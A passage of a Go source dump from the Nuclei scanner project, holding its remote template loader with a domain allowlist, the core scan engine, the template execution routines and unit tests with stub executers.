tt.want.finalTemplates)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/catalog/loader/remote_loader.go",
    "content": "package loader\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\ntype ContentType string\n\nconst (\n\tTemplate ContentType = \"Template\"\n\tWorkflow ContentType = \"Workflow\"\n)\n\ntype RemoteContent struct {\n\tContent []string\n\tType    ContentType\n\tError   error\n}\n\nfunc getRemoteTemplatesAndWorkflows(templateURLs, workflowURLs, remoteTemplateDomainList []string) ([]string, []string, error) {\n\tvar (\n\t\terr   error\n\t\tmuErr sync.Mutex\n\t)\n\tremoteTemplateList := sliceutil.NewSyncSlice[string]()\n\tremoteWorkFlowList := sliceutil.NewSyncSlice[string]()\n\n\tawg, errAwg := syncutil.New(syncutil.WithSize(50))\n\tif errAwg != nil {\n\t\treturn nil, nil, errAwg\n\t}\n\n\tloadItem := func(URL string, contentType ContentType) {\n\t\tdefer awg.Done()\n\n\t\tremoteContent := getRemoteContent(URL, remoteTemplateDomainList, contentType)\n\t\tif remoteContent.Error != nil {\n\t\t\tmuErr.Lock()\n\t\t\tif err != nil {\n\t\t\t\terr = errors.New(remoteContent.Error.Error() + \": \" + err.Error())\n\t\t\t} else {\n\t\t\t\terr = remoteContent.Error\n\t\t\t}\n\t\t\tmuErr.Unlock()\n\t\t} else {\n\t\t\tswitch remoteContent.Type {\n\t\t\tcase Template:\n\t\t\t\tremoteTemplateList.Append(remoteContent.Content...)\n\t\t\tcase Workflow:\n\t\t\t\tremoteWorkFlowList.Append(remoteContent.Content...)\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, templateURL := range templateURLs {\n\t\tawg.Add()\n\t\tgo loadItem(templateURL, Template)\n\t}\n\tfor _, workflowURL := range workflowURLs {\n\t\tawg.Add()\n\t\tgo loadItem(workflowURL, Workflow)\n\t}\n\n\tawg.Wait()\n\n\treturn remoteTemplateList.Slice, remoteWorkFlowList.Slice, err\n}\n\nfunc getRemoteContent(URL string, remoteTemplateDomainList []string, contentType ContentType) RemoteContent {\n\tif err := validateRemoteTemplateURL(URL, remoteTemplateDomainList); err != nil {\n\t\treturn RemoteContent{Error: err}\n\t}\n\tif strings.HasPrefix(URL, \"http\") && stringsutil.HasSuffixAny(URL, extensions.YAML) {\n\t\treturn RemoteContent{\n\t\t\tContent: []string{URL},\n\t\t\tType:    contentType,\n\t\t}\n\t}\n\tresponse, err := retryablehttp.DefaultClient().Get(URL)\n\tif err != nil {\n\t\treturn RemoteContent{Error: err}\n\t}\n\tdefer func() {\n\t\t_ = response.Body.Close()\n\t}()\n\tif response.StatusCode < 200 || response.StatusCode > 299 {\n\t\treturn RemoteContent{Error: fmt.Errorf(\"get \\\"%s\\\": unexpected status %d\", URL, response.StatusCode)}\n\t}\n\n\tscanner := bufio.NewScanner(response.Body)\n\tvar templateList []string\n\tfor scanner.Scan() {\n\t\ttext := strings.TrimSpace(scanner.Text())\n\t\tif text == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif utils.IsURL(text) {\n\t\t\tif err := validateRemoteTemplateURL(text, remoteTemplateDomainList); err != nil {\n\t\t\t\treturn RemoteContent{Error: err}\n\t\t\t}\n\t\t}\n\t\ttemplateList = append(templateList, text)\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\treturn RemoteContent{Error: errors.Wrap(err, \"get \\\"%s\\\"\")}\n\t}\n\n\treturn RemoteContent{\n\t\tContent: templateList,\n\t\tType:    contentType,\n\t}\n}\n\nfunc validateRemoteTemplateURL(inputURL string, remoteTemplateDomainList []string) error {\n\tparsedURL, err := url.Parse(inputURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !utils.StringSliceContains(remoteTemplateDomainList, parsedURL.Host) {\n\t\treturn errors.Errorf(\"Remote template URL host (%s) is not present in the `remote-template-domain` list in nuclei config\", parsedURL.Host)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/core/engine.go",
    "content": "package core\n\nimport (\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Engine is an executer for running Nuclei Templates/Workflows.\n//\n// The engine contains multiple thread pools which allow using different\n// concurrency values per protocol executed.\n//\n// The engine does most of the heavy lifting of execution, from clustering\n// templates to leading to the final execution by the work pool, it is\n// handled by the engine.\ntype Engine struct {\n\tworkPool     *WorkPool\n\toptions      *types.Options\n\texecuterOpts *protocols.ExecutorOptions\n\tCallback     func(*output.ResultEvent) // Executed on results\n\tLogger       *gologger.Logger\n}\n\n// New returns a new Engine instance\nfunc New(options *types.Options) *Engine {\n\tengine := &Engine{\n\t\toptions: options,\n\t\tLogger:  options.Logger,\n\t}\n\tengine.workPool = engine.GetWorkPool()\n\treturn engine\n}\n\nfunc (e *Engine) GetWorkPoolConfig() WorkPoolConfig {\n\tconfig := WorkPoolConfig{\n\t\tInputConcurrency:         e.options.BulkSize,\n\t\tTypeConcurrency:          e.options.TemplateThreads,\n\t\tHeadlessInputConcurrency: e.options.HeadlessBulkSize,\n\t\tHeadlessTypeConcurrency:  e.options.HeadlessTemplateThreads,\n\t}\n\treturn config\n}\n\n// GetWorkPool returns a workpool from options\nfunc (e *Engine) GetWorkPool() *WorkPool {\n\treturn NewWorkPool(e.GetWorkPoolConfig())\n}\n\n// SetExecuterOptions sets the executer options for the engine. This is required\n// before using the engine to perform any execution.\nfunc (e *Engine) SetExecuterOptions(options *protocols.ExecutorOptions) {\n\te.executerOpts = options\n}\n\n// ExecuterOptions returns protocols.ExecutorOptions for nuclei engine.\nfunc (e *Engine) ExecuterOptions() *protocols.ExecutorOptions {\n\treturn e.executerOpts\n}\n\n// WorkPool returns the worker pool for the engine\nfunc (e *Engine) WorkPool() *WorkPool {\n\t// resize check point - nop if there are no changes\n\te.workPool.RefreshWithConfig(e.GetWorkPoolConfig())\n\treturn e.workPool\n}\n"
  },
  {
    "path": "pkg/core/engine_test.go",
    "content": "package core\n"
  },
  {
    "path": "pkg/core/execute_options.go",
    "content": "package core\n\nimport (\n\t\"context\"\n\t\"sync\"\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\n// Execute takes a list of templates/workflows that have been compiled\n// and executes them based on provided concurrency options.\n//\n// All the execution logic for the templates/workflows happens in this part\n// of the engine.\nfunc (e *Engine) Execute(ctx context.Context, templates []*templates.Template, target provider.InputProvider) *atomic.Bool {\n\treturn e.ExecuteScanWithOpts(ctx, templates, target, false)\n}\n\n// ExecuteWithResults a list of templates with results\nfunc (e *Engine) ExecuteWithResults(ctx context.Context, templatesList []*templates.Template, target provider.InputProvider, callback func(*output.ResultEvent)) *atomic.Bool {\n\te.Callback = callback\n\treturn e.ExecuteScanWithOpts(ctx, templatesList, target, false)\n}\n\n// ExecuteScanWithOpts executes scan with given scanStrategy\nfunc (e *Engine) ExecuteScanWithOpts(ctx context.Context, templatesList []*templates.Template, target provider.InputProvider, noCluster bool) *atomic.Bool {\n\tresults := &atomic.Bool{}\n\tselfcontainedWg := &sync.WaitGroup{}\n\n\ttotalReqBeforeCluster := getRequestCount(templatesList) * int(target.Count())\n\n\t// attempt to cluster templates if noCluster is false\n\tvar finalTemplates []*templates.Template\n\tclusterCount := 0\n\tif !noCluster {\n\t\tvar clusterMappings map[string][]string\n\t\tfinalTemplates, clusterCount, clusterMappings = templates.ClusterTemplates(templatesList, e.executerOpts)\n\t\t// Store cluster mappings in executerOpts for SDK access (thread-safe)\n\t\tif clusterMappings != nil {\n\t\t\te.executerOpts.ClusterMappings = types.NewClusterMappingsMap(clusterMappings)\n\t\t}\n\t} else {\n\t\tfinalTemplates = templatesList\n\t}\n\n\ttotalReqAfterClustering := getRequestCount(finalTemplates) * int(target.Count())\n\n\tif !noCluster && totalReqAfterClustering < totalReqBeforeCluster {\n\t\te.Logger.Info().Msgf(\"Templates clustered: %d (Reduced %d Requests)\", clusterCount, totalReqBeforeCluster-totalReqAfterClustering)\n\t}\n\n\t// 0 matches means no templates were found in the directory\n\tif len(finalTemplates) == 0 {\n\t\treturn &atomic.Bool{}\n\t}\n\n\tif e.executerOpts.Progress != nil {\n\t\t// Notes:\n\t\t// workflow requests are not counted as they can be conditional\n\t\t// templateList count is user requested templates count (before clustering)\n\t\t// totalReqAfterClustering is total requests count after clustering\n\t\te.executerOpts.Progress.Init(target.Count(), len(templatesList), int64(totalReqAfterClustering))\n\t}\n\n\tif stringsutil.EqualFoldAny(e.options.ScanStrategy, scanstrategy.Auto.String(), \"\") {\n\t\t// TODO: this is only a placeholder, auto scan strategy should choose scan strategy\n\t\t// based on no of hosts , templates , stream and other optimization parameters\n\t\te.options.ScanStrategy = scanstrategy.TemplateSpray.String()\n\t}\n\n\tfiltered := []*templates.Template{}\n\tselfContained := []*templates.Template{}\n\t// Filter Self Contained templates since they are not bound to target\n\tfor _, v := range finalTemplates {\n\t\tif v.SelfContained {\n\t\t\tselfContained = append(selfContained, v)\n\t\t} else {\n\t\t\tfiltered = append(filtered, v)\n\t\t}\n\t}\n\n\t// Execute All SelfContained in parallel\n\te.executeAllSelfContained(ctx, selfContained, results, selfcontainedWg)\n\n\tstrategyResult := &atomic.Bool{}\n\tswitch e.options.ScanStrategy {\n\tcase scanstrategy.TemplateSpray.String():\n\t\tstrategyResult = e.executeTemplateSpray(ctx, filtered, target)\n\tcase scanstrategy.HostSpray.String():\n\t\tstrategyResult = e.executeHostSpray(ctx, filtered, target)\n\t}\n\n\tresults.CompareAndSwap(false, strategyResult.Load())\n\n\tselfcontainedWg.Wait()\n\treturn results\n}\n\n// executeTemplateSpray executes scan using template spray strategy where targets are iterated over each template\nfunc (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*templates.Template, target provider.InputProvider) *atomic.Bool {\n\tresults := &atomic.Bool{}\n\n\t// wp is workpool that contains different waitgroups for\n\t// headless and non-headless templates\n\twp := e.GetWorkPool()\n\tdefer wp.Wait()\n\n\tfor _, template := range templatesList {\n\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn results\n\t\tdefault:\n\t\t}\n\n\t\t// resize check point - nop if there are no changes\n\t\twp.RefreshWithConfig(e.GetWorkPoolConfig())\n\n\t\ttemplateType := template.Type()\n\t\tvar wg *syncutil.AdaptiveWaitGroup\n\t\tif templateType == types.HeadlessProtocol {\n\t\t\twg = wp.Headless\n\t\t} else {\n\t\t\twg = wp.Default\n\t\t}\n\n\t\twg.Add()\n\t\tgo func(tpl *templates.Template) {\n\t\t\tdefer wg.Done()\n\t\t\t// All other request types are executed here\n\t\t\t// Note: executeTemplateWithTargets creates goroutines and blocks\n\t\t\t// given template is executed on all targets\n\t\t\te.executeTemplateWithTargets(ctx, tpl, target, results)\n\t\t}(template)\n\t}\n\treturn results\n}\n\n// executeHostSpray executes scan using host spray strategy where templates are iterated over each target\nfunc (e *Engine) executeHostSpray(ctx context.Context, templatesList []*templates.Template, target provider.InputProvider) *atomic.Bool {\n\tresults := &atomic.Bool{}\n\twp, _ := syncutil.New(syncutil.WithSize(e.options.BulkSize + e.options.HeadlessBulkSize))\n\tdefer wp.Wait()\n\n\ttarget.Iterate(func(value *contextargs.MetaInput) bool {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn false\n\t\tdefault:\n\t\t}\n\n\t\twp.Add()\n\t\tgo func(targetval *contextargs.MetaInput) {\n\t\t\tdefer wp.Done()\n\t\t\te.executeTemplatesOnTarget(ctx, templatesList, targetval, results)\n\t\t}(value)\n\t\treturn true\n\t})\n\treturn results\n}\n\n// returns total requests count\nfunc getRequestCount(templates []*templates.Template) int {\n\tcount := 0\n\tfor _, template := range templates {\n\t\t// ignore requests in workflows as total requests in workflow\n\t\t// depends on what templates will be called in workflow\n\t\tif len(template.Workflows) > 0 {\n\t\t\tcontinue\n\t\t}\n\t\tcount += template.TotalRequests\n\t}\n\treturn count\n}\n"
  },
  {
    "path": "pkg/core/executors.go",
    "content": "package core\n\nimport (\n\t\"context\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\tgeneralTypes \"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\n// Executors are low level executors that deals with template execution on a target\n\n// executeAllSelfContained executes all self contained templates that do not use `target`\nfunc (e *Engine) executeAllSelfContained(ctx context.Context, alltemplates []*templates.Template, results *atomic.Bool, sg *sync.WaitGroup) {\n\tfor _, v := range alltemplates {\n\t\tsg.Add(1)\n\t\tgo func(template *templates.Template) {\n\t\t\tdefer sg.Done()\n\t\t\tvar err error\n\t\t\tvar match bool\n\t\t\tctx := scan.NewScanContext(ctx, contextargs.New(ctx))\n\t\t\tif e.Callback != nil {\n\t\t\t\tif results, err := template.Executer.ExecuteWithResults(ctx); err == nil {\n\t\t\t\t\tfor _, result := range results {\n\t\t\t\t\t\te.Callback(result)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tmatch = true\n\t\t\t} else {\n\t\t\t\tmatch, err = template.Executer.Execute(ctx)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\te.options.Logger.Warning().Msgf(\"[%s] Could not execute step (self-contained): %s\\n\", e.executerOpts.Colorizer.BrightBlue(template.ID), err)\n\t\t\t}\n\t\t\tresults.CompareAndSwap(false, match)\n\t\t}(v)\n\t}\n}\n\n// executeTemplateWithTargets executes a given template on x targets (with a internal targetpool(i.e concurrency))\nfunc (e *Engine) executeTemplateWithTargets(ctx context.Context, template *templates.Template, target provider.InputProvider, results *atomic.Bool) {\n\tif e.workPool == nil {\n\t\te.workPool = e.GetWorkPool()\n\t}\n\t// Bounded worker pool using input concurrency\n\tpool := e.workPool.InputPool(template.Type())\n\tworkerCount := 1\n\tif pool != nil && pool.Size > 0 {\n\t\tworkerCount = pool.Size\n\t}\n\n\tvar (\n\t\tindex uint32\n\t)\n\n\te.executerOpts.ResumeCfg.Lock()\n\tcurrentInfo, ok := e.executerOpts.ResumeCfg.Current[template.ID]\n\tif !ok {\n\t\tcurrentInfo = &generalTypes.ResumeInfo{}\n\t\te.executerOpts.ResumeCfg.Current[template.ID] = currentInfo\n\t}\n\tcurrentInfo.InitInFlight()\n\tresumeFromInfo, ok := e.executerOpts.ResumeCfg.ResumeFrom[template.ID]\n\tif !ok {\n\t\tresumeFromInfo = &generalTypes.ResumeInfo{}\n\t\te.executerOpts.ResumeCfg.ResumeFrom[template.ID] = resumeFromInfo\n\t}\n\te.executerOpts.ResumeCfg.Unlock()\n\n\t// track progression\n\tcleanupInFlight := func(index uint32) {\n\t\tcurrentInfo.Lock()\n\t\tdelete(currentInfo.InFlight, index)\n\t\tcurrentInfo.Unlock()\n\t}\n\n\t// task represents a single target execution unit\n\ttype task struct {\n\t\tindex uint32\n\t\tskip  bool\n\t\tvalue *contextargs.MetaInput\n\t}\n\n\ttasks := make(chan task)\n\tvar workersWg sync.WaitGroup\n\tworkersWg.Add(workerCount)\n\tfor i := 0; i < workerCount; i++ {\n\t\tgo func() {\n\t\t\tdefer workersWg.Done()\n\t\t\tfor t := range tasks {\n\t\t\t\tfunc() {\n\t\t\t\t\tdefer cleanupInFlight(t.index)\n\t\t\t\t\tselect {\n\t\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t}\n\t\t\t\t\tif t.skip {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tmatch, err := e.executeTemplateOnInput(ctx, template, t.value)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\te.options.Logger.Warning().Msgf(\"[%s] Could not execute step on %s: %s\\n\", template.ID, t.value.Input, err)\n\t\t\t\t\t}\n\t\t\t\t\tresults.CompareAndSwap(false, match)\n\t\t\t\t}()\n\t\t\t}\n\t\t}()\n\t}\n\n\ttarget.Iterate(func(scannedValue *contextargs.MetaInput) bool {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn false // exit\n\t\tdefault:\n\t\t}\n\n\t\t// Best effort to track the host progression\n\t\t// skips indexes lower than the minimum in-flight at interruption time\n\t\tvar skip bool\n\t\tif resumeFromInfo.IsCompleted() { // the template was completed\n\t\t\te.options.Logger.Debug().Msgf(\"[%s] Skipping \\\"%s\\\": Resume - Template already completed\", template.ID, scannedValue.Input)\n\t\t\tskip = true\n\t\t} else if index < resumeFromInfo.GetSkipUnder() { // index lower than the sliding window (bulk-size)\n\t\t\te.options.Logger.Debug().Msgf(\"[%s] Skipping \\\"%s\\\": Resume - Target already processed\", template.ID, scannedValue.Input)\n\t\t\tskip = true\n\t\t} else if resumeFromInfo.IsInFlight(index) { // the target wasn't completed successfully\n\t\t\te.options.Logger.Debug().Msgf(\"[%s] Repeating \\\"%s\\\": Resume - Target wasn't completed\", template.ID, scannedValue.Input)\n\t\t\t// skip is already false, but leaving it here for clarity\n\t\t\tskip = false\n\t\t} else if index > resumeFromInfo.GetDoAbove() { // index above the sliding window (bulk-size)\n\t\t\t// skip is already false - but leaving it here for clarity\n\t\t\tskip = false\n\t\t}\n\n\t\tcurrentInfo.Lock()\n\t\tcurrentInfo.InFlight[index] = struct{}{}\n\t\tcurrentInfo.Unlock()\n\n\t\t// Skip if the host has had errors\n\t\tif e.executerOpts.HostErrorsCache != nil && e.executerOpts.HostErrorsCache.Check(e.executerOpts.ProtocolType.String(), contextargs.NewWithMetaInput(ctx, scannedValue)) {\n\t\t\tskipEvent := &output.ResultEvent{\n\t\t\t\tTemplateID:    template.ID,\n\t\t\t\tTemplatePath:  template.Path,\n\t\t\t\tInfo:          template.Info,\n\t\t\t\tType:          e.executerOpts.ProtocolType.String(),\n\t\t\t\tHost:          scannedValue.Input,\n\t\t\t\tMatcherStatus: false,\n\t\t\t\tError:         \"host was skipped as it was found unresponsive\",\n\t\t\t\tTimestamp:     time.Now(),\n\t\t\t}\n\n\t\t\tif e.Callback != nil {\n\t\t\t\te.Callback(skipEvent)\n\t\t\t} else if e.executerOpts.Output != nil {\n\t\t\t\t_ = e.executerOpts.Output.Write(skipEvent)\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\n\t\ttasks <- task{index: index, skip: skip, value: scannedValue}\n\t\tindex++\n\t\treturn true\n\t})\n\n\tclose(tasks)\n\tworkersWg.Wait()\n\n\t// on completion marks the template as completed\n\tcurrentInfo.Lock()\n\tcurrentInfo.Completed = true\n\tcurrentInfo.Unlock()\n}\n\n// executeTemplatesOnTarget execute given templates on given single target\nfunc (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*templates.Template, target *contextargs.MetaInput, results *atomic.Bool) {\n\t// all templates are executed on single target\n\n\t// wp is workpool that contains different waitgroups for\n\t// headless and non-headless templates\n\t// global waitgroup should not be used here\n\twp := e.GetWorkPool()\n\tdefer wp.Wait()\n\n\tfor _, tpl := range alltemplates {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tdefault:\n\t\t}\n\n\t\t// Check whether the target has already been marked as permanently\n\t\t// unresponsive by HostErrorsCache before spawning another goroutine.\n\t\tif e.executerOpts.HostErrorsCache != nil &&\n\t\t\te.executerOpts.HostErrorsCache.Check(e.executerOpts.ProtocolType.String(), contextargs.NewWithMetaInput(ctx, target)) {\n\t\t\tskipEvent := &output.ResultEvent{\n\t\t\t\tTemplateID:    tpl.ID,\n\t\t\t\tTemplatePath:  tpl.Path,\n\t\t\t\tInfo:          tpl.Info,\n\t\t\t\tType:          e.executerOpts.ProtocolType.String(),\n\t\t\t\tHost:          target.Input,\n\t\t\t\tMatcherStatus: false,\n\t\t\t\tError:         \"host was skipped as it was found unresponsive\",\n\t\t\t\tTimestamp:     time.Now(),\n\t\t\t}\n\t\t\tif e.Callback != nil {\n\t\t\t\te.Callback(skipEvent)\n\t\t\t} else if e.executerOpts.Output != nil {\n\t\t\t\t_ = e.executerOpts.Output.Write(skipEvent)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\t// resize check point - nop if there are no changes\n\t\twp.RefreshWithConfig(e.GetWorkPoolConfig())\n\n\t\tvar sg *syncutil.AdaptiveWaitGroup\n\t\tif tpl.Type() == types.HeadlessProtocol {\n\t\t\tsg = wp.Headless\n\t\t} else {\n\t\t\tsg = wp.Default\n\t\t}\n\t\tsg.Add()\n\t\tgo func(template *templates.Template, value *contextargs.MetaInput, wg *syncutil.AdaptiveWaitGroup) {\n\t\t\tdefer wg.Done()\n\n\t\t\tmatch, err := e.executeTemplateOnInput(ctx, template, value)\n\t\t\tif err != nil {\n\t\t\t\te.options.Logger.Warning().Msgf(\"[%s] Could not execute step on %s: %s\\n\", template.ID, value.Input, err)\n\t\t\t}\n\t\t\tresults.CompareAndSwap(false, match)\n\t\t}(tpl, target, sg)\n\t}\n}\n\n// executeTemplateOnInput performs template execution for a single input and returns match status and error\nfunc (e *Engine) executeTemplateOnInput(ctx context.Context, template *templates.Template, value *contextargs.MetaInput) (bool, error) {\n\tctxArgs := contextargs.New(ctx)\n\tctxArgs.MetaInput = value\n\tscanCtx := scan.NewScanContext(ctx, ctxArgs)\n\n\tswitch template.Type() {\n\tcase types.WorkflowProtocol:\n\t\treturn e.executeWorkflow(scanCtx, template.CompiledWorkflow), nil\n\tdefault:\n\t\tif e.Callback != nil {\n\t\t\tresults, err := template.Executer.ExecuteWithResults(scanCtx)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\tfor _, result := range results {\n\t\t\t\te.Callback(result)\n\t\t\t}\n\t\t\treturn len(results) > 0, nil\n\t\t}\n\t\treturn template.Executer.Execute(scanCtx)\n\t}\n}\n"
  },
  {
    "path": "pkg/core/executors_test.go",
    "content": "package core\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\tinputtypes \"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\ttmpltypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// fakeExecuter is a simple stub for protocols.Executer used to test executeTemplateOnInput\ntype fakeExecuter struct {\n\twithResults bool\n}\n\nfunc (f *fakeExecuter) Compile() error                              { return nil }\nfunc (f *fakeExecuter) Requests() int                               { return 1 }\nfunc (f *fakeExecuter) Execute(ctx *scan.ScanContext) (bool, error) { return !f.withResults, nil }\nfunc (f *fakeExecuter) ExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error) {\n\tif !f.withResults {\n\t\treturn nil, nil\n\t}\n\treturn []*output.ResultEvent{{Host: \"h\"}}, nil\n}\n\n// newTestEngine creates a minimal Engine for tests\nfunc newTestEngine() *Engine {\n\treturn New(&types.Options{})\n}\n\nfunc Test_executeTemplateOnInput_CallbackPath(t *testing.T) {\n\te := newTestEngine()\n\tcalled := 0\n\te.Callback = func(*output.ResultEvent) { called++ }\n\n\ttpl := &templates.Template{}\n\ttpl.Executer = &fakeExecuter{withResults: true}\n\n\tok, err := e.executeTemplateOnInput(context.Background(), tpl, &contextargs.MetaInput{Input: \"x\"})\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif !ok {\n\t\tt.Fatalf(\"expected match true\")\n\t}\n\tif called == 0 {\n\t\tt.Fatalf(\"expected callback to be called\")\n\t}\n}\n\nfunc Test_executeTemplateOnInput_ExecutePath(t *testing.T) {\n\te := newTestEngine()\n\ttpl := &templates.Template{}\n\ttpl.Executer = &fakeExecuter{withResults: false}\n\n\tok, err := e.executeTemplateOnInput(context.Background(), tpl, &contextargs.MetaInput{Input: \"x\"})\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif !ok {\n\t\tt.Fatalf(\"expected match true from Execute path\")\n\t}\n}\n\ntype fakeExecuterErr struct{}\n\nfunc (f *fakeExecuterErr) Compile() error                              { return nil }\nfunc (f *fakeExecuterErr) Requests() int                               { return 1 }\nfunc (f *fakeExecuterErr) Execute(ctx *scan.ScanContext) (bool, error) { return false, nil }\nfunc (f *fakeExecuterErr) ExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error) {\n\treturn nil, fmt.Errorf(\"boom\")\n}\n\nfunc Test_executeTemplateOnInput_CallbackErrorPropagates(t *testing.T) {\n\te := newTestEngine()\n\te.Callback = func(*output.ResultEvent) {}\n\ttpl := &templates.Template{}\n\ttpl.Executer = &fakeExecuterErr{}\n\n\tok, err := e.executeTemplateOnInput(context.Background(), tpl, &contextargs.MetaInput{Input: \"x\"})\n\tif err == nil {\n\t\tt.Fatalf(\"expected error to propagate\")\n\t}\n\tif ok {\n\t\tt.Fatalf(\"expected match to be false on error\")\n\t}\n}\n\ntype fakeTargetProvider struct {\n\tvalues []*contextargs.MetaInput\n}\n\nfunc (f *fakeTargetProvider) Count() int64 { return int64(len(f.values)) }\nfunc (f *fakeTargetProvider) Iterate(cb func(value *contextargs.MetaInput) bool) {\n\tfor _, v := range f.values {\n\t\tif !cb(v) {\n\t\t\treturn\n\t\t}\n\t}\n}\nfunc (f *fakeTargetProvider) Set(string, string) {}\nfunc (f *fakeTargetProvider) SetWithProbe(string, string, inputtypes.InputLivenessProbe) error {\n\treturn nil\n}\nfunc (f *fakeTargetProvider) SetWithExclusions(string, string) error { return nil }\nfunc (f *fakeTargetProvider) InputType() string                      { return \"test\" }\nfunc (f *fakeTargetProvider) Close()                                 {}\n\ntype slowExecuter struct{}\n\nfunc (s *slowExecuter) Compile() error { return nil }\nfunc (s *slowExecuter) Requests() int  { return 1 }\nfunc (s *slowExecuter) Execute(ctx *scan.ScanContext) (bool, error) {\n\tselect {\n\tcase <-ctx.Context().Done():\n\t\treturn false, ctx.Context().Err()\n\tcase <-time.After(200 * time.Millisecond):\n\t\treturn true, nil\n\t}\n}\nfunc (s *slowExecuter) ExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error) {\n\treturn nil, nil\n}\n\nfunc Test_executeTemplateWithTargets_RespectsCancellation(t *testing.T) {\n\te := newTestEngine()\n\te.SetExecuterOptions(&protocols.ExecutorOptions{Logger: e.Logger, ResumeCfg: types.NewResumeCfg(), ProtocolType: tmpltypes.HTTPProtocol})\n\n\ttpl := &templates.Template{}\n\ttpl.Executer = &slowExecuter{}\n\n\ttargets := &fakeTargetProvider{values: []*contextargs.MetaInput{{Input: \"a\"}, {Input: \"b\"}, {Input: \"c\"}}}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tcancel()\n\n\tvar matched atomic.Bool\n\te.executeTemplateWithTargets(ctx, tpl, targets, &matched)\n}\n"
  },
  {
    "path": "pkg/core/workflow_execute.go",
    "content": "package core\n\nimport (\n\t\"fmt\"\n\t\"net/http/cookiejar\"\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/workflows\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\nconst workflowStepExecutionError = \"[%s] Could not execute workflow step: %s\\n\"\n\n// executeWorkflow runs a workflow on an input and returns true or false\nfunc (e *Engine) executeWorkflow(ctx *scan.ScanContext, w *workflows.Workflow) bool {\n\tresults := &atomic.Bool{}\n\n\t// at this point we should be at the start root execution of a workflow tree, hence we create global shared instances\n\tworkflowCookieJar, _ := cookiejar.New(nil)\n\tctxArgs := contextargs.New(ctx.Context())\n\tctxArgs.MetaInput = ctx.Input.MetaInput\n\tctxArgs.CookieJar = workflowCookieJar\n\n\t// we can know the nesting level only at runtime, so the best we can do here is increase template 